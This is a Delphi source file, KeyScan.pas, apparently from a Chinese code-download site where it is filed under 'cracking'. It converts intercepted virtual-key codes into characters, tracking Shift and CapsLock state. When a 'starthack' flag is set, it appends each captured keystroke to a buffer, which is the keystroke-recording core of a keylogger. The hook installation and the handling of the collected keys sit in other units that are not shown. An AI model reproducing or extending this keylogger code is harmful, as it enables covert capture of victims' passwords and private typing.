KeyScan.pas
上传用户:jiansibo
上传日期:2015-07-04
资源大小:524k
文件大小:2k
源码类别:

破解

开发平台:

Delphi

  1. unit KeyScan;
  2. interface
  3. uses windows,messages,sysutils;
  4. var
  5.   skey:string;
  6.   lpKBS:TKeyBoardState;
  7.   cslock:integer;
  8.   vshift:integer;
  9.   vskey:array[0..41] of integer=
  10.        ($2c,$3c,$2E,$3E,$2F,$3F,$3B,$3A,
  11.         $27,$22,$5B,$7B,$5D,$7D,$5C,$7C,
  12.         $3D,$2B,$2D,$5F,$30,$29,$39,$28,
  13.         $38,$2A,$37,$26,$36,$5E,$35,$25,
  14.         $34,$24,$33,$23,$32,$40,$31,$21,
  15.         $60,$7E);
  16. function KeyScaner(vkeys,stats:integer):string;
  17. implementation
  18. uses win,proc;
  19. function KeyScaner(vkeys,stats:integer):string;
  20. var
  21.   k,d,stat,vkey:integer;
  22. begin
  23.     //vkey:=MapVirtualKey(vkeys,2);
  24.     vkey:=vkeys;
  25.     stat:=(stats shr 30) and  1;
  26.     //处理Shift键
  27.     if (vkey=$10) then
  28.     begin
  29.       stat:=(stats shr 24) and  $ff;
  30.       if stat<>$c0 then stat:=0;
  31.       if stat=0 then vshift:=1
  32.       else vshift:=0;
  33. //      strcopy(sbuf,pchar(format('%x',[stats])));
  34. //      sendmessage(hlist,LB_ADDSTRING,0,integer(@sbuf));
  35.       skey:='';
  36.     end;
  37.     //处理CapsLock键
  38.     if GetAsyncKeyState($14)<>0 then
  39.     begin
  40.       if cslock=0 then cslock:=1
  41.       else cslock:=0;
  42.       //strcopy(sbuf,pchar(format('%x,%x',[cslock,k])));
  43.       //sendmessage(hlist,LB_ADDSTRING,0,integer(@sbuf));
  44.       skey:='';
  45.     end;
  46.     //
  47.     if (vkey<>$10) and (vkey<>$11) and (vkey<>$12) then
  48.     if stat=1 then
  49.     begin
  50.       if (vkey>=$41) and (vkey<=$5A) then
  51.       begin
  52. //        if (vshift=0) and (cslock=0) then vkey:=vkey+$20;
  53. //        if (vshift=1) and (cslock=1) then vkey:=vkey+$20;
  54.         if vshift=0 then vkey:=vkey+$20;
  55.         skey:=format('%s',[char(vkey)]);
  56.       end else
  57.       begin
  58.         skey:='';
  59.         for d:=0 to 20 do
  60.         if vkey=vskey[d*2] then
  61.         begin
  62.           if (vshift=1) then vkey:=vskey[d*2+1];
  63.           skey:=format('%s',[char(vkey)]);
  64.           break;
  65.         end;
  66.       end;
  67.     end;
  68.   strcopy(sbuf,pchar(skey));
  69.   if length(skey)>0 then
  70.   sendmessage(hmain,wm_settext,0,integer(@sbuf));
  71.   if (starthack>0) and (stat>0) then
  72.   begin
  73.     if length(skey)>0 then
  74.     strcopy(keybuf,pchar( strpas(keybuf)+skey  ));
  75.   end;
  76.   Result:=skey;
  77. end;
  78. end.